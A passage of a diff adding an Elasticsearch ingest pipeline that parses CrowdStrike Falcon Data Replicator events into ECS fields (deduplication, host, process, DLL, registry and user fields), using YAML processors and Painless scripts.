+ - remove: + description: When data deduplication is disabled, even the _id-Based Deduplication needs to be removed. + tag: remove_id_based_deduplication_fd096d6e + if: ctx._conf?.enable_deduplication == false + field: + - _id + ignore_missing: true + + - script: + tag: script_data_type_89bd92f4 + if: ctx.log?.file?.path != null && ctx.log.file.path != '' + source: |- + int lastSlash = ctx.log.file.path.lastIndexOf("/"); + if (lastSlash == -1) { + return; + } + ctx._temp = ctx._temp ?: [:]; + ctx._temp.type = ctx.log.file.path.substring(lastSlash + 1); + // aidmaster and userinfo are bucket keys we depend on, the data + // path suffix is tested, but not depended on. So make sure this + // is present for the fingerprint processor. + if (ctx._temp.type != 'aidmaster' && ctx._temp.type != 'userinfo') { + ctx._temp.type = 'data'; + } + - fingerprint: + description: When deduplication is enabled, fingerprint the a set of crowdstrike fields in attempt to prevent the same event from being indexed more than once. + tag: fingerprint_crowdstrike_fdr_0e5ffd3f + if: ctx._conf?.enable_deduplication == true + fields: + - '@timestamp' + - crowdstrike.id + - crowdstrike.aid + - crowdstrike.cid + - _temp.type + target_field: _id + ignore_missing: true + + # Categorization + - pipeline: + tag: pipeline_categorize_20a0e7f1 + name: '{{ IngestPipeline "categorize" }}' + ignore_missing_pipeline: true + + # Cached event category for category-dependent processors + - set: + tag: set__temp_isFile_1aa6969f + if: ctx.event?.category?.contains('file') == true + field: _temp.isFile + value: true + - set: + tag: set__temp_isLibrary_00bc941b + if: ctx.event?.category?.contains('library') == true + field: _temp.isLibrary + value: true + - set: + tag: set__temp_isNetwork_70f64bff + if: ctx.event?.category?.contains('network') == true + field: _temp.isNetwork + value: true + - set: + tag: set__temp_isProcess_279add73 + if: ctx.event?.category?.contains('process') == true + field: _temp.isProcess + value: true + - set: + tag: set__temp_isDriver_d4311ecf + if: ctx.event?.category?.contains('driver') == true + field: _temp.isDriver + value: true + + # CSPM fields + # Can be both string and int, fields are mapped as keyword. + - convert: + tag: convert_crowdstrike_service_to_string_2a8687e8 + field: crowdstrike.service + type: string + ignore_missing: true + - convert: + tag: convert_crowdstrike_cloudplatform_to_string_1f6df19b + field: crowdstrike.cloudplatform + type: string + ignore_missing: true + + - rename: + description: Rename crowdstrike.resource in case concrete value field is mapped as object. + tag: rename_crowdstrike_resource_to_crowdstrike_resource_name_9899a394 + if: ctx.crowdstrike?.resource instanceof String + field: crowdstrike.resource + target_field: crowdstrike.resource_name + - remove: + tag: remove_cloud_4d018ef3 + field: + - cloud + ignore_missing: true + + - pipeline: + tag: pipeline_cspm_iom_62dcd2f9 + if: (ctx.crowdstrike?.disposition != null && ctx.crowdstrike.disposition.equalsIgnoreCase('Failed')) ||(ctx.crowdstrike?.event_simpleName != null && ctx.crowdstrike.event_simpleName.equalsIgnoreCase('CloudSecurityIOMEvaluation')) + name: '{{ IngestPipeline "cspm_iom" }}' + - pipeline: + tag: pipeline_cspm_ioa_8a985b05 + if: ctx.crowdstrike?.vertex_type != null && ctx.crowdstrike.vertex_type.equalsIgnoreCase('ioa') + name: '{{ IngestPipeline "cspm_ioa" }}' + + # Event fields. + - set: + description: Concat the fields used in fingerprint. + tag: set_event_id_af6d60ca + if: ctx.crowdstrike?.id != null || ctx.crowdstrike?.aid != null || ctx.crowdstrike?.cid != null + field: event.id + value: '{{{#crowdstrike.id}}}{{{ crowdstrike.id }}}{{{/crowdstrike.id}}}|{{{#crowdstrike.aid}}}{{{ crowdstrike.aid }}}{{{/crowdstrike.aid}}}|{{{#crowdstrike.cid}}}{{{ crowdstrike.cid }}}{{{/crowdstrike.cid}}}' + override: false + - set: + tag: construct_message_from_event_simpleName_649b7fba + field: message + copy_from: crowdstrike.event_simpleName + override: false + ignore_empty_value: true + - rename: + tag: rename_crowdstrike_event_simpleName_to_event_action_0069f759 + field: crowdstrike.event_simpleName + target_field: event.action + ignore_missing: true + - rename: + tag: rename_crowdstrike_SuspiciousHandleOpenReason_to_event_reason_d2830844 + field: crowdstrike.SuspiciousHandleOpenReason + target_field: event.reason + ignore_missing: true + + # Prepare data. + - script: + description: Convert all count fields to number. + tag: convert_count_fields_to_long_e5775223 + source: |- + for (entry in ctx.crowdstrike.entrySet()) { + def key = entry.getKey().toString(); + if (key.contains("Count") || key.contains("Port")) { + try { + ctx.crowdstrike[key] = Long.parseLong(entry.getValue().toString()); + } catch (Exception e) { + } + } + } + - script: + description: Remove all 0's hashes. + tag: remove_empty_hashes_fdda7066 + params: + MD5HashData: md5 + SHA1HashData: sha1 + SHA256HashData: sha256 + source: |- + def hashIsEmpty(String hash) { + if (hash == null || hash == "") { + return true; + } + + Pattern emptyHashRegex = /^0*$/; + def matcher = emptyHashRegex.matcher(hash); + + return matcher.matches(); + } + + def hashes = new HashMap(); + def related = [ + "hash": new ArrayList() + ]; + for (entry in params.entrySet()) { + def key = entry.getKey().toString(); + def value = ctx.crowdstrike[key]; + if (hashIsEmpty(value)) { + ctx.crowdstrike.remove(key); + continue; + } + + hashes[entry.getValue().toString()] = value; + related.hash.add(value); + } + + ctx._temp = ctx._temp ?: [:]; + ctx._temp.hashes = hashes; + if (related.hash.length > 0) { + ctx.related = related; + } + + # Observer fields. + - set: + tag: set_observer_serial_number_f13cfca6 + field: observer.serial_number + copy_from: crowdstrike.aid + ignore_empty_value: true + - split: + tag: split_crowdstrike_aip_f0e4d8b4 + field: crowdstrike.aip + separator: \s+ + ignore_missing: true + - convert: + tag: convert_crowdstrike_aip_to_ip_c775b545 + field: crowdstrike.aip + type: ip + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_aip_253407ba + field: + - crowdstrike.aip + - rename: + tag: rename_crowdstrike_aip_to_observer_ip_db4efb0d + field: crowdstrike.aip + target_field: observer.ip + ignore_missing: true + ignore_failure: true + - set: + tag: set_observer_address_7e682298 + field: observer.address + copy_from: observer.ip + ignore_empty_value: true + - rename: + tag: rename_crowdstrike_AgentVersion_to_observer_version_8a83774d + field: crowdstrike.AgentVersion + target_field: observer.version + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_ConfigBuild_to_observer_version_05f8908e + field: crowdstrike.ConfigBuild + target_field: observer.version + ignore_missing: true + ignore_failure: true + - foreach: + tag: foreach_of_observer_ip_e78425f7 + if: ctx.observer?.ip != null && ctx.observer.ip instanceof List + field: observer.ip + processor: + append: + tag: append_related_ip_e9bcb8d0 + field: related.ip + value: '{{{_ingest._value}}}' + allow_duplicates: false + + # Host fields. + - rename: + tag: rename_crowdstrike_aid_to_host_id_c2222a0d + field: crowdstrike.aid + target_field: host.id + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_ComputerName_to_host_hostname_0ec8d515 + field: crowdstrike.ComputerName + target_field: host.hostname + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_hostname_to_host_hostname_f0f6daca + field: crowdstrike.hostname + target_field: host.hostname + ignore_missing: true + ignore_failure: true + - set: + tag: set_host_name_e6f31488 + field: host.name + copy_from: host.hostname + ignore_empty_value: true + ignore_failure: true + - append: + tag: append_related_hosts_369b21b5 + if: ctx.crowdstrike?.info?.host?.ComputerName != null + field: related.hosts + value: '{{{crowdstrike.info.host.ComputerName}}}' + allow_duplicates: false + - rename: + tag: rename_crowdstrike_info_host_ComputerName_to_host_name_a1ee7f6f + if: ctx.host?.name == null + field: crowdstrike.info.host.ComputerName + target_field: host.name + ignore_missing: true + - append: + tag: append_related_hosts_452ef445 + if: ctx.host?.name != null + field: related.hosts + value: '{{{host.name}}}' + allow_duplicates: false + - rename: + tag: rename_crowdstrike_City_to_host_geo_city_name_bf5d6259 + field: crowdstrike.City + target_field: host.geo.city_name + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_Continent_to_host_geo_continent_name_d0e71561 + field: crowdstrike.Continent + target_field: host.geo.continent_name + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_Country_to_host_geo_country_name_56324ad5 + field: crowdstrike.Country + target_field: host.geo.country_name + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_Timezone_to_host_geo_timezone_b481eccd + field: crowdstrike.Timezone + target_field: host.geo.timezone + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_MachineDomain_to_host_domain_3ab40091 + field: crowdstrike.MachineDomain + target_field: host.domain + ignore_missing: true + ignore_failure: true + - convert: + tag: convert_crowdstrike_info_host_aip_to_ip_into__temp_aip_21b40f31 + if: ctx.crowdstrike?.info?.host?.aip != null && ctx.crowdstrike.info.host.aip != "" + field: crowdstrike.info.host.aip + type: ip + target_field: _temp.aip + ignore_failure: true + - remove: + tag: remove_crowdstrike_info_host_aip_0b8e5e7f + if: ctx._temp?.aip != null + field: + - crowdstrike.info.host.aip + - append: + tag: append_host_ip_1dd81f5c + if: ctx._temp?.aip != null + field: host.ip + value: '{{{_temp.aip}}}' + allow_duplicates: false + - append: + tag: append_related_ip_a3fbf481 + if: ctx._temp?.aip != null + field: related.ip + value: '{{{_temp.aip}}}' + allow_duplicates: false + + # OS fields. + - set: + tag: set_host_os_type_c07526d4 + if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "Lin" + field: host.os.type + value: linux + - set: + tag: set_host_os_type_d0c6a731 + if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "Mac" + field: host.os.type + value: macos + - set: + tag: set_host_os_type_88679cda + if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "Win" + field: host.os.type + value: windows + - set: + tag: set_host_os_type_079f7c73 + if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "iOS" + field: host.os.type + value: ios + - rename: + tag: rename_crowdstrike_OSVersionString_to_host_os_version_c9849d9b + field: crowdstrike.OSVersionString + target_field: host.os.version + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_Version_to_host_os_version_74d23d68 + field: crowdstrike.Version + target_field: host.os.version + ignore_missing: true + ignore_failure: true + + # Service fields. + - set: + tag: set_service_name_e27d7b04 + if: ctx._temp?.isDriver == true + field: service.name + copy_from: crowdstrike.ServiceDisplayName + ignore_empty_value: true + + # Process fields. + - rename: + tag: rename_crowdstrike_CommandLine_to_process_command_line_307047e3 + field: crowdstrike.CommandLine + target_field: process.command_line + ignore_missing: true + - script: + description: Implements Windows-like SplitCommandLine + tag: split_command_line_c3beef26 + if: ctx.process?.command_line != null && ctx.process.command_line != "" && ctx.host?.os?.type != null + source: |- + // appendBSBytes appends n '\\' bytes to b and returns the resulting slice. + def appendBSBytes(StringBuilder b, int n) { + for (; n > 0; n--) { + b.append('\\'); + } + return b; + } + + // readNextArg splits command line string into next + // argument and command line remainder offset. + def readNextArg(String line, int offset) { + def b = new StringBuilder(); + boolean inquote; + int nslash; + for (; offset < line.length(); offset++) { + def c = line.charAt(offset); + if (c == (char)' ' || c == (char)0x09) { + if (!inquote) { + return [ + "arg": appendBSBytes(b, nslash).toString(), + "offset": offset+1 + ]; + } + } else if (c == (char)'"') { + b = appendBSBytes(b, nslash/2); + if (nslash%2 == 0) { + // use "Prior to 2008" rule from + // http://daviddeley.com/autohotkey/parameters/parameters.htm + // section 5.2 to deal with double double quotes + if (inquote && offset+1 < line.length() && line.charAt(offset+1) == (char)'"') { + b.append(c); + offset++; + } + inquote = !inquote; + } else { + b.append(c); + } + nslash = 0; + continue; + } else if (c == (char)'\\') { + nslash++; + continue; + } + b = appendBSBytes(b, nslash); + nslash = 0; + b.append(c); + } + return [ + "arg": appendBSBytes(b, nslash).toString(), + "offset": line.length() + ]; + } + + // commandLineToArgv splits a command line into individual argument + // strings, following the Windows conventions documented + // at http://daviddeley.com/autohotkey/parameters/parameters.htm#WINARGV + // Original implementation found at: https://github.com/golang/go/commit/39c8d2b7faed06b0e91a1ad7906231f53aab45d1 + def commandLineToArgv(String line) { + def args = new ArrayList(); + for (int i = 0; i < line.length();) { + if (line.charAt(i) == (char)' ' || line.charAt(i) == (char)0x09) { + i++; + continue; + } + def next = readNextArg(line, i); + i = next.offset; + if (next.arg == '') { + // Empty strings will be removed later so don't bother adding them. + continue; + } + args.add(next.arg); + } + return args; + } + + ctx.process.args = commandLineToArgv(ctx.process.command_line); + ctx.process.args_count = ctx.process.args.length; + - rename: + tag: rename_crowdstrike_ImageFileName_to_process_executable_1e9d3140 + if: ctx._temp?.isLibrary != true && ctx._temp?.isDriver != true + field: crowdstrike.ImageFileName + target_field: process.executable + ignore_missing: true + - script: + description: Calculate process.name + tag: process_name_7293cfa8 + if: ctx.process?.executable != null && ctx.process.executable != "" + source: |- + def executable = ctx.process.executable; + def exe_arr = []; + def name = executable; + if(executable.substring(0,1) == "\\") { + name = executable.splitOnToken("\\")[-1]; + } else if(executable.substring(0,1) == "/") { + name = executable.splitOnToken("/")[-1]; + } + ctx.process.put("name", name); + + # This handles a special case occurs in Linux-based containerized environments + # when the "runc" process clones itself to get into its own namespace. + # The child process would have its executable path set to "/" + # and consequently, the process name would not be set. + # For more details, see https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2021/12/28/runc-internals-3. + - script: + description: Extract process.name from command line if not already present. + tag: parse_process_name_from_command_line_327152ca + if: |- + ctx.process?.executable == '/' && + (ctx.process.name == null || ctx.process.name == '') && + (ctx.process.args instanceof List && ctx.process.args.length > 0) + source: |- + ctx.process.name = ctx.process.args[0]; + + // Clean up path separators. + int lastSlash = ctx.process.name.lastIndexOf("/"); + if (lastSlash != -1) { + ctx.process.name = ctx.process.name.substring(lastSlash + 1); + } + - convert: + tag: convert_crowdstrike_ExitCode_to_long_b3ece615 + field: crowdstrike.ExitCode + type: long + ignore_missing: true + - rename: + tag: rename_crowdstrike_ExitCode_to_process_exit_code_dd734967 + field: crowdstrike.ExitCode + target_field: process.exit_code + ignore_missing: true + - convert: + tag: convert_crowdstrike_ProcessStartTime_to_string_6339b88d + field: crowdstrike.ProcessStartTime + type: string + ignore_missing: true + - convert: + tag: convert_crowdstrike_ProcessEndTime_to_string_e858845e + field: crowdstrike.ProcessEndTime + type: string + ignore_missing: true + - script: + description: Calculate process.uptime + tag: process_uptime_d1b24ab9 + if: |- + ctx.crowdstrike?.ProcessStartTime != null && ctx.crowdstrike?.ProcessStartTime != "" && + ctx.crowdstrike?.ProcessEndTime != null && ctx.crowdstrike?.ProcessEndTime != "" + source: |- + float s = Float.parseFloat(ctx.crowdstrike?.ProcessStartTime); + float e = Float.parseFloat(ctx.crowdstrike?.ProcessEndTime); + if (e >= s) { + if (ctx.process == null) { + ctx.process = [:]; + } + ctx.process.uptime = (long) ((e-s)/1000L); + } + - script: + description: Parse raw process id's so that they roll over if out of 32-bit range + tag: parse_raw_pids_08a5864a + source: |- + def parsePid(String pid) { + try { + return Long.parseUnsignedLong(pid); + } catch (Exception e) { + return pid; + } + } + if (ctx.crowdstrike?.RawProcessId != null) { + ctx.crowdstrike.RawProcessId = parsePid(ctx.crowdstrike.RawProcessId); + } + if (ctx.crowdstrike?.EtwRawProcessId != null) { + ctx.crowdstrike.EtwRawProcessId = parsePid(ctx.crowdstrike.EtwRawProcessId); + } + - date: + tag: date_process_start_time_a2b0d5f4 + if: ctx.crowdstrike?.ProcessStartTime != null && ctx.crowdstrike.ProcessStartTime != '' && ctx.crowdstrike.ProcessStartTime != 'none' + field: crowdstrike.ProcessStartTime + target_field: crowdstrike.ProcessStartTime + formats: + - UNIX + - rename: + tag: rename_crowdstrike_ProcessStartTime_to_process_start_84d4376c + if: ctx.crowdstrike?.ProcessStartTime != "" + field: crowdstrike.ProcessStartTime + target_field: process.start + ignore_missing: true + - date: + tag: date_process_end_time_160e9fbf + if: ctx.crowdstrike?.ProcessEndTime != null && ctx.crowdstrike.ProcessEndTime != '' && ctx.crowdstrike.ProcessEndTime != 'none' + field: crowdstrike.ProcessEndTime + target_field: crowdstrike.ProcessEndTime + formats: + - UNIX + - rename: + tag: rename_crowdstrike_ProcessEndTime_to_process_end_965ac751 + if: ctx.crowdstrike?.ProcessEndTime != "" + field: crowdstrike.ProcessEndTime + target_field: process.end + ignore_missing: true + - rename: + tag: rename_crowdstrike_RawProcessId_to_process_pid_937882e3 + field: crowdstrike.RawProcessId + target_field: process.pid + ignore_missing: true + - convert: + tag: convert_crowdstrike_TargetProcessId_to_string_d9f8029c + if: ctx.crowdstrike?.TargetProcessId != null && !(ctx.crowdstrike.TargetProcessId instanceof String) + field: crowdstrike.TargetProcessId + type: string + ignore_missing: true + - rename: + tag: rename_crowdstrike_TargetProcessId_to_process_entity_id_9f979af6 + field: crowdstrike.TargetProcessId + target_field: process.entity_id + ignore_missing: true + - convert: + tag: convert_crowdstrike_ParentProcessId_to_string_53eeefcb + if: ctx.crowdstrike?.ParentProcessId != null && !(ctx.crowdstrike.ParentProcessId instanceof String) + field: crowdstrike.ParentProcessId + type: string + ignore_missing: true + - rename: + tag: rename_crowdstrike_ParentProcessId_to_process_parent_entity_id_71941ac7 + field: crowdstrike.ParentProcessId + target_field: process.parent.entity_id + ignore_missing: true + - set: + tag: set_process_name_40e79739 + if: ctx._temp?.isNetwork == true + field: process.name + copy_from: crowdstrike.ContextBaseFileName + ignore_empty_value: true + - rename: + tag: rename_crowdstrike_ParentBaseFileName_to_process_parent_name_759f7011 + field: crowdstrike.ParentBaseFileName + target_field: process.parent.name + ignore_missing: true + - convert: + tag: convert_crowdstrike_ProcessGroupId_to_long_5a3ca809 + field: crowdstrike.ProcessGroupId + type: long + ignore_missing: true + - rename: + tag: rename_crowdstrike_ProcessGroupId_to_process_pgid_8830e8d1 + field: crowdstrike.ProcessGroupId + target_field: process.pgid + ignore_missing: true + - set: + tag: set_process_entity_id_3f15b261 + if: ctx.process?.entity_id == null + field: process.entity_id + copy_from: crowdstrike.ContextProcessId + ignore_empty_value: true + - convert: + tag: convert_crowdstrike_ContextThreadId_to_long_b92c0503 + if: ctx.process?.thread?.id == null + field: crowdstrike.ContextThreadId + type: long + ignore_missing: true + - rename: + tag: rename_crowdstrike_ContextThreadId_to_process_thread_id_55924d4f + if: ctx.process?.thread?.id == null + field: crowdstrike.ContextThreadId + target_field: process.thread.id + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_EtwRawProcessId_to_process_pid_e92b8449 + if: ctx.process?.pid == null + field: crowdstrike.EtwRawProcessId + target_field: process.pid + ignore_missing: true + - convert: + tag: convert_crowdstrike_EtwRawThreadId_to_long_9652eb55 + field: crowdstrike.EtwRawThreadId + type: long + ignore_missing: true + - rename: + tag: rename_crowdstrike_EtwRawThreadId_to_process_thread_id_4bfcaba5 + if: ctx.process?.thread?.id == null + field: crowdstrike.EtwRawThreadId + target_field: process.thread.id + ignore_missing: true + - rename: + tag: rename_crowdstrike_ServiceDisplayName_to_process_title_50009d18 + field: crowdstrike.ServiceDisplayName + target_field: process.title + ignore_missing: true + - rename: + tag: rename__temp_hashes_to_process_hash_cdaa452a + if: |- + ctx.event?.action != null && + (ctx.event.action.contains("Process") || ctx.event.action.contains("Service")) && + ctx._temp?.hashes != null && ctx._temp?.hashes.size() > 0 + field: _temp.hashes + target_field: process.hash + - script: + tag: integrity_level_1169d16e + if: ctx.crowdstrike?.IntegrityLevel != null + params: + levels: + "0": UNTRUSTED + "4096": LOW + "8192": MEDIUM + "8448": MEDIUM_PLUS + "12288": HIGH + "16384": SYSTEM + "20480": PROTECTED + source: |- + String level = params.get('levels')[ctx.crowdstrike.IntegrityLevel]; + if (level != null) { + ctx.process = ctx.process ?: [:]; + ctx.process.Ext = ctx.process.Ext ?: [:]; + ctx.process.Ext.token = ctx.process.Ext.token ?: [:]; + ctx.process.Ext.token.integrity_level_name = level; + } + - set: + tag: set_process_pe_original_file_name_8552e0df + if: ctx._temp?.isProcess == true && ctx.host?.os?.type == 'windows' + field: process.pe.original_file_name + copy_from: crowdstrike.OriginalFilename + ignore_empty_value: true + - convert: + tag: convert_process_pgid_to_string_into_process_group_leader_entity_id_88870118 + if: ctx._temp?.isProcess == true && ctx.host?.os?.type == 'linux' + field: process.pgid + type: string + target_field: process.group_leader.entity_id + ignore_missing: true + - set: + tag: set_process_real_user_id_d36a1e14 + field: process.real_user.id + copy_from: crowdstrike.RUID + ignore_empty_value: true + - set: + tag: set_user_Ext_real_id_4bbeee1a + field: user.Ext.real.id + copy_from: process.real_user.id + ignore_empty_value: true + - set: + tag: set_process_real_group_id_01a52390 + if: ctx.host?.os?.type == 'linux' + field: process.real_group.id + copy_from: crowdstrike.RGID + ignore_empty_value: true + - set: + tag: set_group_Ext_real_id_1ca7802a + field: group.Ext.real.id + copy_from: process.real_group.id + ignore_empty_value: true + - set: + tag: set_process_group_id_69005b41 + if: ctx.host?.os?.type == 'linux' + field: process.group.id + copy_from: crowdstrike.GID + ignore_empty_value: true + - set: + tag: set_group_id_0c978126 + field: group.id + copy_from: process.group.id + ignore_empty_value: true + + # Library fields. + - set: + tag: set_event_action_735cfe72 + if: ctx._temp?.isDriver == true + field: event.action + value: load + - set: + tag: set_dll_pe_original_file_name_7a4c66c0 + if: (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && ctx.host?.os?.type == 'windows' + field: dll.pe.original_file_name + copy_from: crowdstrike.OriginalFilename + ignore_empty_value: true + - rename: + tag: rename_process_name_to_dll_name_9234d620 + if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows' + field: process.name + target_field: dll.name + ignore_missing: true + - rename: + tag: rename_process_executable_to_dll_path_992bcd8f + if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows' + field: process.executable + target_field: dll.path + ignore_missing: true + - rename: + tag: rename_crowdstrike_MD5HashData_to_dll_hash_md5_0d2bcdb4 + if: (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && ctx.host?.os?.type == 'windows' + field: crowdstrike.MD5HashData + target_field: dll.hash.md5 + ignore_missing: true + - rename: + tag: rename_crowdstrike_SHA1HashData_to_dll_hash_sha1_2733445a + if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows' + field: crowdstrike.SHA1HashData + target_field: dll.hash.sha1 + ignore_missing: true + - rename: + tag: rename_crowdstrike_SHA256HashData_to_dll_hash_sha256_aaaae286 + if: (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && ctx.host?.os?.type == 'windows' + field: crowdstrike.SHA256HashData + target_field: dll.hash.sha256 + ignore_missing: true + - convert: + tag: convert_crowdstrike_ModuleSize_to_long_into_dll_Ext_size_42bb289b + if: ctx.crowdstrike?.ModuleSize != '' && ctx.host?.os?.type == 'windows' + field: crowdstrike.ModuleSize + type: long + target_field: dll.Ext.size + ignore_missing: true + ignore_failure: true + - script: + tag: script_set_dll_name_ac696ad2 + if: |- + (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && + ctx.crowdstrike?.ImageFileName != null && + ctx.host?.os?.type == 'windows' + source: |- + int idx = ctx.crowdstrike.ImageFileName.lastIndexOf('\\'); + if (idx >= 0) { + ctx.dll = ctx.dll ?: [:]; + ctx.dll.name = ctx.crowdstrike.ImageFileName.substring(idx+1); + } + ignore_failure: true + - rename: + tag: rename_crowdstrike_ImageFileName_to_dll_path_0ebfe574 + if: |- + (ctx.event?.action == 'ClassifiedModuleLoad' || ctx._temp?.isDriver == true) && + ctx.host?.os?.type == 'windows' + field: crowdstrike.ImageFileName + target_field: dll.path + ignore_missing: true + - script: + tag: script_set_process_name_8064aa04 + if: ctx._temp?.isLibrary == true && ctx.crowdstrike?.TargetImageFileName != null && ctx.host?.os?.type == 'windows' + source: |- + int idx = ctx.crowdstrike.TargetImageFileName.lastIndexOf('\\'); + if (idx >= 0) { + ctx.process = ctx.process ?: [:]; + ctx.process.name = ctx.crowdstrike.TargetImageFileName.substring(idx+1); + } + ignore_failure: true + - rename: + tag: rename_crowdstrike_TargetImageFileName_to_process_executable_8f82dd8a + if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows' + field: crowdstrike.TargetImageFileName + target_field: process.executable + ignore_missing: true + - script: + tag: script_set_process_name_40278491 + if: |- + ctx.event?.action == 'ClassifiedModuleLoad' && + ctx.crowdstrike?.ImageSignatureLevel != null && + ctx.crowdstrike.ImageSignatureLevel != '' && + ctx.crowdstrike?.ImageSignatureType != null && + ctx.crowdstrike.ImageSignatureType != '' + source: |- + long signatureLevel = Long.parseLong(ctx.crowdstrike.ImageSignatureLevel); + long signatureType = Long.parseLong(ctx.crowdstrike.ImageSignatureType); + ctx.dll = ctx.dll ?: [:]; + ctx.dll.code_signature = ctx.dll.code_signature ?: [:]; + if (signatureType == 0) { + ctx.dll.code_signature.exists = false; + ctx.dll.code_signature.trusted = false; + } else if (signatureType >= 1 && (signatureLevel == 0 || signatureLevel == 1)) { + ctx.dll.code_signature.exists = true; + ctx.dll.code_signature.trusted = false; + } else if (signatureType >= 1 && signatureLevel >= 2) { + ctx.dll.code_signature.exists = true; + ctx.dll.code_signature.trusted = true; + } + on_failure: + - append: + tag: append_error_message_db7ae317 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + tag: set_dll_code_signature_subject_name_67c64e63 + if: ctx._temp?.isDriver == true && ctx.host?.os?.type == 'windows' + field: dll.code_signature.subject_name + copy_from: crowdstrike.CertificatePublisher + ignore_empty_value: true + + # Registry fields. + - append: + tag: append_registry_data_strings_d0edbd10 + if: ctx.crowdstrike?.RegStringValue != null && ctx.crowdstrike.RegStringValue != '' + field: registry.data.strings + value: '{{{crowdstrike.RegStringValue}}}' + allow_duplicates: false + - set: + tag: set_registry_path_e6aa2a33 + if: ctx.crowdstrike?.RegObjectName != null && ctx.crowdstrike.RegObjectName != '' && ctx.crowdstrike?.RegValueName != null && ctx.crowdstrike.RegValueName != '' + field: registry.path + value: '{{{crowdstrike.RegObjectName}}}\{{{crowdstrike.RegValueName}}}' + - set: + tag: set_registry_path_49d20af1 + if: ctx.crowdstrike?.RegValueName == null || ctx.crowdstrike.RegValueName == '' + field: registry.path + copy_from: crowdstrike.RegObjectName + ignore_empty_value: true + - set: + tag: set_registry_value_4b43d250 + field: registry.value + copy_from: crowdstrike.RegValueName + ignore_empty_value: true + - gsub: + tag: gsub_crowdstrike_RegObjectName_into_registry_key_5c4a7818 + field: crowdstrike.RegObjectName + target_field: registry.key + pattern: ^\\REGISTRY\\(?:USER|MACHINE)\\ + replacement: "" + ignore_missing: true + ignore_failure: true + - script: + tag: script_set_event_action_and_type_29345ceb + if: ctx.crowdstrike?.RegOperationType != null + params: + op_types: + "1": + action: modification + type: change + "2": + action: deletion + type: deletion + "3": + action: creation + type: creation + "4": + action: deletion + type: deletion + "5": + action: modification + type: change + "6": + action: load + type: info + "7": + action: modification + type: change + "8": + action: open + type: access + "9": + action: query + type: access + source: |- + def op = params.get('op_types')[ctx.crowdstrike.RegOperationType]; + if (op != null) { + ctx.event = ctx.event ?: [:]; + ctx.event.type = []; + ctx.event.type.add(op.type); + ctx.event.action = op.action; + } + - script: + tag: script_set_registry_data_type_e45a255a + if: ctx.crowdstrike?.RegType != null + params: + data_types: + "0": REG_NONE + "1": REG_SZ + "2": REG_EXPAND_SZ + "3": REG_BINARY + "4": REG_DWORD + "5": REG_DWORD_BIG_ENDIAN + "6": REG_LINK + "7": REG_MULTI_SZ + "8": REG_RESOURCE_LIST + "9": REG_FULL_RESOURCE_DESCRIPTOR + "10": REG_RESOURCE_REQUIREMENTS_LIST + "11": REG_QWORD + source: |- + String data_type = params.get('data_types')[ctx.crowdstrike.RegType]; + if (data_type != null) { + ctx.registry = ctx.registry ?: [:]; + ctx.registry.data = ctx.registry.data ?: [:]; + ctx.registry.data.type = data_type; + } + + # User fields. + - rename: + tag: rename_crowdstrike_UID_to_user_id_a7e7d9cf + field: crowdstrike.UID + target_field: user.id + ignore_missing: true + - rename: + tag: rename_crowdstrike_info_user_UserName_to_user_name_cc930c2f + if: ctx.crowdstrike?.info?.user?.UserName != null && ctx.user?.name == null + field: crowdstrike.info.user.UserName + target_field: user.name + ignore_missing: true + - split: + tag: split_crowdstrike_info_user_User_into__temp_info_user_parts_dee4af27 + if: ctx.crowdstrike?.info?.user?.User != null + field: crowdstrike.info.user.User + separator: \\{1,2} + target_field: _temp.info_user_parts + - set: + tag: set_user_domain_6f97903f + if: ctx._temp?.info_user_parts != null && ctx._temp.info_user_parts.size() == 2 + field: user.domain + value: '{{{_temp.info_user_parts.0}}}' + ignore_empty_value: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_info_user_User_to_user_name_6ec3ffdd + if: ctx.crowdstrike?.info?.user?.User != null && ctx.user?.name == null + field: crowdstrike.info.user.User + target_field: user.name + ignore_missing: true + - rename: + tag: rename_crowdstrike_GID_to_user_group_id_5c9b8998 + field: crowdstrike.GID + target_field: user.group.id + ignore_missing: true + - rename: + tag: rename_crowdstrike_UserSid_to_user_id_1cec3193 + if: ctx.user?.id == null || ctx.user.id == "" + field: crowdstrike.UserSid + target_field: user.id + ignore_missing: true + - set: + tag: set_user_id_4f3a664d + if: ctx.user?.id == null && ctx._temp?.isFile == true + field: user.id + copy_from: crowdstrike.FileOperatorSid + ignore_empty_value: true + - append: + tag: append_user_roles_146dad6a + if: ctx.crowdstrike?.UserIsAdmin == "1" + field: user.roles + value: admin + - rename: + tag: rename_crowdstrike_User_Name_to_user_name_a4ea1f62 + if: ctx.crowdstrike?.User instanceof Map && ctx.crowdstrike.User.Name != null && ctx.user?.name == null + field: crowdstrike.User.Name + target_field: user.name + ignore_missing: true + - rename: + tag: rename_crowdstrike_User_ID_to_user_id + if: ctx.crowdstrike?.User instanceof Map && ctx.crowdstrike.User.ID != null && ctx.user?.id == null + field: crowdstrike.User.ID + target_field: user.id + ignore_missing: true + - remove: 